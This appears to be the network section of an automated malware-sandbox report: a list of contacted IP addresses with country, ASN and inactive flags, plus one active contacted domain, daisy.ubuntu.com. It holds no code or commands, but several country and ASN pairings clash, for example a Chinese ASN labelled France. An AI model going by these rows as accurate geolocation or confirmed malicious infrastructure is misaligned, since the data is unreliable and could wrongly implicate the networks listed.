 unknown Singapore
51964 ORANGE-BUSINESS-SERVICES-IPSN-ASNFR false
155.71.130.116
 unknown Australia
31746 FANDMUS false
76.182.14.73
 unknown United States
11426 TWC-11426-CAROLINASUS false
57.157.49.79
 unknown Belgium
2686 ATGS-MMD-ASUS false
28.12.47.3
 unknown United States
7922 COMCAST-7922US false
200.254.149.207
 unknown Brazil
4230 CLAROSABR false
28.120.184.151
 unknown United States
7922 COMCAST-7922US false
163.111.194.38
 unknown France
17816 CHINA169-GZChinaUnicomIPnetworkChina169Guangdongprovi false
219.45.7.6
 unknown Japan 17676 GIGAINFRASoftbankBBCorpJP false
87.194.239.63
 unknown United Kingdom
35228 O2BROADBANDGB false
25.214.190.223
 unknown United Kingdom
7922 COMCAST-7922US false
14.119.90.9
 unknown China
58543 CHINATELECOM-GUANGDONG-IDCGuangdongCN false
143.58.166.100
 unknown United States
19977 MBRML-ASUS false
35.89.183.103
 unknown United States
237 MERIT-AS-14US false
147.154.211.97
 unknown United States
31898 ORACLE-BMC-31898US false
43.167.172.30
 unknown Japan 4249 LILLY-ASUS false
32.193.207.51
 unknown United States
2686 ATGS-MMD-ASUS false
45.38.214.15
 unknown United States
18779 EGIHOSTINGUS false
136.47.194.158
 unknown United States
16591 GOOGLE-FIBERUS false
88.139.164.30
 unknown France
8228 CEGETEL-ASFR false
75.168.106.176
 unknown United States
209 CENTURYLINK-US-LEGACY-QWESTUS false
82.61.3.74
 unknown Italy
3269 ASN-IBSNAZIT false
17.78.247.206
 unknown United States
714 APPLE-ENGINEERINGUS false
42.107.201.20
 unknown India
38266 VODAFONE-INVodafoneIndiaLtdIN false
84.13.240.71
 unknown United Kingdom
13285 OPALTELECOM-ASTalkTalkCommunicationsLimitedGB false
88.148.101.105
 unknown Spain
60807 DURCATEL-ASES false
97.194.97.5
 unknown United States
6167 CELLCO-PARTUS false
74.100.163.48
 unknown United States
5650 FRONTIER-FRTRUS false
212.40.125.214
 unknown Hungary
12594 EXTERNET-ASHU false
56.66.61.58
 unknown United States
2686 ATGS-MMD-ASUS false
218.156.158.255
 unknown Korea Republic of
4766 KIXS-AS-KRKoreaTelecomKR false
70.139.104.226
 unknown United States
7018 ATT-INTERNET4US false
145.131.215.193
 unknown Netherlands
28685 ASN-ROUTITNL false
56.149.11.74
 unknown United States
2686 ATGS-MMD-ASUS false
44.39.146.85
 unknown United States
7377 UCSDUS false
89.177.84.107
 unknown Czech Republic
6830 LIBERTYGLOBALLibertyGlobalformerlyUPCBroadbandHolding false
213.107.47.70
 unknown United Kingdom
5089 NTLGB false
43.201.74.246
 unknown Japan 4249 LILLY-ASUS false
193.23.88.225
 unknown Germany
12886 LEWTELNETOskar-von-Miller-Str1bDE false
135.144.104.11
 unknown United States
14962 NCR-252US false
198.8.35.145
 unknown United States
11787 PACOURTS-ASUS false
108.8.86.237
 unknown United States
701 UUNETUS false
209.56.136.118
 unknown United States
6122 ICN-ASUS false
57.253.132.56
 unknown Belgium
2686 ATGS-MMD-ASUS false
197.88.141.55
 unknown South Africa
10474 OPTINETZA false
152.43.210.172
 unknown United States
33401 CPCCUS false
22.124.77.226
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
47.158.251.198
 unknown United States
5650 FRONTIER-FRTRUS false
121.119.224.23
 unknown Japan 4713 OCNNTTCommunicationsCorporationJP false
97.122.199.138
 unknown United States
209 CENTURYLINK-US-LEGACY-QWESTUS false
114.211.8.17
 unknown China
9595 XEPHIONNTT-MECorporationJP false
223.104.69.110
 unknown China
56040 CMNET-GUANGDONG-APChinaMobilecommunicationscorporation false
160.178.160.254
 unknown Morocco
36903 MT-MPLSMA false
103.89.213.180
 unknown China
63590 HEBBTNHebeiBroadcastingTVNetworkCN false
62.188.34.92
 unknown United Kingdom
702 UUNETUS false
27.154.247.9
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
219.147.77.213
 unknown China
17897 CHINATELECOM-HLJ-AS-APasnforHeilongjiangProvincialNeto false
2.55.19.221
 unknown Israel
12400 PARTNER-ASIL false
193.143.1.70
 unknown unknown
57271 BITWEB-ASRU false
150.87.32.67
 unknown Japan 2497 IIJInternetInitiativeJapanIncJP false
96.221.53.240
 unknown United States
7922 COMCAST-7922US false
153.28.54.239
 unknown United States
6035 DNIC-ASBLK-05800-06055US false
142.205.177.219
 unknown Canada
4657 STARHUB-INTERNETStarHubLtdSG false
67.68.46.201
 unknown Canada
577 BACOMCA false
93.230.169.163
 unknown Germany
3320 DTAGInternetserviceprovideroperationsDE false
153.209.73.157
 unknown Japan 4713 OCNNTTCommunicationsCorporationJP false
137.140.87.250
 unknown United States
22303 NEWPALTZEDUUS false
64.189.249.216
 unknown United States
14325 OSHEANUS false

Contacted Domains

Name IP Active
daisy.ubuntu.com 162.213.35.24 true